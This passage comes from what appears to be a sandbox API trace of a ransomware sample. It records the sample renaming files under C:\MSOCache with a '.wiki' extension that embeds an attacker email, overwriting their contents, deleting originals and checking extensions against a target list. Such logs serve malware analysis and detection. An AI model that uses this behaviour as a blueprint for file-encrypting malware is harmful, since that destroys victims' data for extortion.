lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x80770, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x80770, lpOverlapped=0x0) returned 1 [0054.692] ReadFile (in: hFile=0x214, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0054.692] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.692] SetEndOfFile (hFile=0x1e8) returned 1 [0054.692] CloseHandle (hObject=0x1e8) returned 1 [0054.692] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.692] SetEndOfFile (hFile=0x214) returned 1 [0054.697] CloseHandle (hObject=0x214) returned 1 [0054.697] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0054.697] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll")) returned 1 [0054.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.697] lstrlenW (lpString=".doc") returned 4 [0054.697] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.697] lstrlenW (lpString=".docx") returned 5 [0054.697] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.697] lstrlenW (lpString=".pdf") returned 4 [0054.697] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".xls") returned 4 [0054.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".xlsx") returned 5 [0054.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.698] lstrlenW (lpString=".ppt") returned 4 [0054.698] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString=".zip") returned 4 [0054.698] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".rar") returned 4 [0054.698] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".bz2") returned 4 [0054.698] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.698] lstrlenW (lpString=".7z") returned 3 [0054.698] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString=".dbf") returned 4 [0054.698] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString=".1cd") returned 4 [0054.698] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString=".jpg") returned 4 [0054.698] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.698] lstrlenW (lpString=".doc") returned 4 [0054.698] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".docx") returned 5 [0054.698] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0054.698] lstrlenW (lpString=".pdf") returned 4 [0054.698] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".xls") returned 4 [0054.698] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0054.698] lstrlenW (lpString=".xlsx") returned 5 [0054.698] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0054.698] lstrlenW (lpString=".ppt") returned 4 [0054.699] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0054.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.699] lstrlenW (lpString=".zip") returned 4 [0054.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0054.699] lstrlenW (lpString=".rar") returned 4 [0054.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0054.699] lstrlenW (lpString=".bz2") returned 4 [0054.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0054.699] lstrlenW (lpString=".7z") returned 3 [0054.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0054.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.699] lstrlenW (lpString=".dbf") returned 4 [0054.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0054.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.699] lstrlenW (lpString=".1cd") returned 4 [0054.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0054.699] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll") returned 74 [0054.699] lstrlenW (lpString=".jpg") returned 4 [0054.699] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0054.699] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0054.699] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0054.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.699] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3702272) returned 1 [0054.699] CloseHandle (hObject=0x214) returned 1 [0054.700] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0054.700] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.700] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0054.700] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0054.700] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0054.700] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.700] ReadFile (in: hFile=0x214, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.704] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.704] ReadFile (in: hFile=0x214, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.934] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0054.934] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0054.935] ReadFile (in: hFile=0x214, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0054.952] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0054.953] WriteFile (in: hFile=0x214, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0054.972] SetEndOfFile (hFile=0x214) returned 1 [0054.972] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0054.972] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.972] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0054.974] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0054.974] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.258] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.258] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.260] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.262] CloseHandle (hObject=0x214) returned 1 [0055.262] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.262] lstrlenW (lpString=".doc") returned 4 [0055.262] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.262] lstrlenW (lpString=".docx") returned 5 [0055.263] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.263] lstrlenW (lpString=".pdf") returned 4 [0055.263] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString=".xls") returned 4 [0055.263] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString=".xlsx") returned 5 [0055.263] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.263] lstrlenW (lpString=".ppt") returned 4 [0055.263] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString=".zip") returned 4 [0055.263] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString=".rar") returned 4 [0055.263] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString=".bz2") returned 4 [0055.263] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.263] lstrlenW (lpString=".7z") returned 3 [0055.263] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString=".dbf") returned 4 [0055.263] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString=".1cd") returned 4 [0055.263] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString=".jpg") returned 4 [0055.263] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.263] lstrlenW (lpString=".doc") returned 4 [0055.263] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.263] lstrlenW (lpString=".docx") returned 5 [0055.263] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0055.263] lstrlenW (lpString=".pdf") returned 4 [0055.263] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.263] lstrlenW (lpString=".xls") returned 4 [0055.264] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.264] lstrlenW (lpString=".xlsx") returned 5 [0055.264] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0055.264] lstrlenW (lpString=".ppt") returned 4 [0055.264] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.264] lstrlenW (lpString=".zip") returned 4 [0055.264] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.264] lstrlenW (lpString=".rar") returned 4 [0055.264] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.264] lstrlenW (lpString=".bz2") returned 4 [0055.264] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.264] lstrlenW (lpString=".7z") returned 3 [0055.264] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.264] lstrlenW (lpString=".dbf") returned 4 [0055.264] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.264] lstrlenW (lpString=".1cd") returned 4 [0055.264] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0055.264] lstrlenW (lpString=".jpg") returned 4 [0055.264] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.264] lstrcmpiW (lpString1=".msi", lpString2=".wiki") returned -1 [0055.264] lstrlenW (lpString="Office32WW.msi") returned 14 [0055.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.265] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1992192) returned 1 [0055.265] CloseHandle (hObject=0x214) returned 1 [0055.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi")) returned 0x2020 [0055.266] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.266] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0055.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.msi.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0055.266] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0055.266] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.266] ReadFile (in: hFile=0x214, lpBuffer=0x3a80058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a80058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.270] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.271] ReadFile (in: hFile=0x214, lpBuffer=0x3ac0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ac0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.274] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0055.274] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0055.274] ReadFile (in: hFile=0x214, lpBuffer=0x3b00058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3b00058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0055.289] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0055.289] WriteFile (in: hFile=0x214, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0055.506] SetEndOfFile (hFile=0x214) returned 1 [0055.506] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40000) returned 0x40654f0 [0055.506] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.506] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.508] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0xa2200, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.508] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.510] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x1a6600, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0055.510] WriteFile (in: hFile=0x214, lpBuffer=0x40654f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x40654f0*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0055.512] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x40654f0 | out: hHeap=0x6c0000) returned 1 [0055.512] CloseHandle (hObject=0x214) returned 1 [0055.512] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0055.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.512] lstrlenW (lpString=".doc") returned 4 [0055.512] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.512] lstrlenW (lpString=".docx") returned 5 [0055.512] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.512] lstrlenW (lpString=".pdf") returned 4 [0055.512] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.512] lstrlenW (lpString=".xls") returned 4 [0055.512] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.512] lstrlenW (lpString=".xlsx") returned 5 [0055.512] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.512] lstrlenW (lpString=".ppt") returned 4 [0055.512] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0055.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.512] lstrlenW (lpString=".zip") returned 4 [0055.512] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString=".rar") returned 4 [0055.513] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString=".bz2") returned 4 [0055.513] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0055.513] lstrlenW (lpString=".7z") returned 3 [0055.513] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString=".dbf") returned 4 [0055.513] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString=".1cd") returned 4 [0055.513] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString=".jpg") returned 4 [0055.513] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.msi") returned 77 [0055.513] lstrlenW (lpString=".doc") returned 4 [0055.513] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0055.513] lstrlenW (lpString=".docx") returned 5 [0055.513] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0055.513] lstrlenW (lpString=".pdf") returned 4 [0055.513] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString=".xls") returned 4 [0055.513] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0055.513] lstrlenW (lpString=".xlsx") returned 5 [0055.513] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0055.513] lstrlenW (lpString=".ppt") returned 4 [0055.513] lstrcmpiW (lpString1=".ppt", 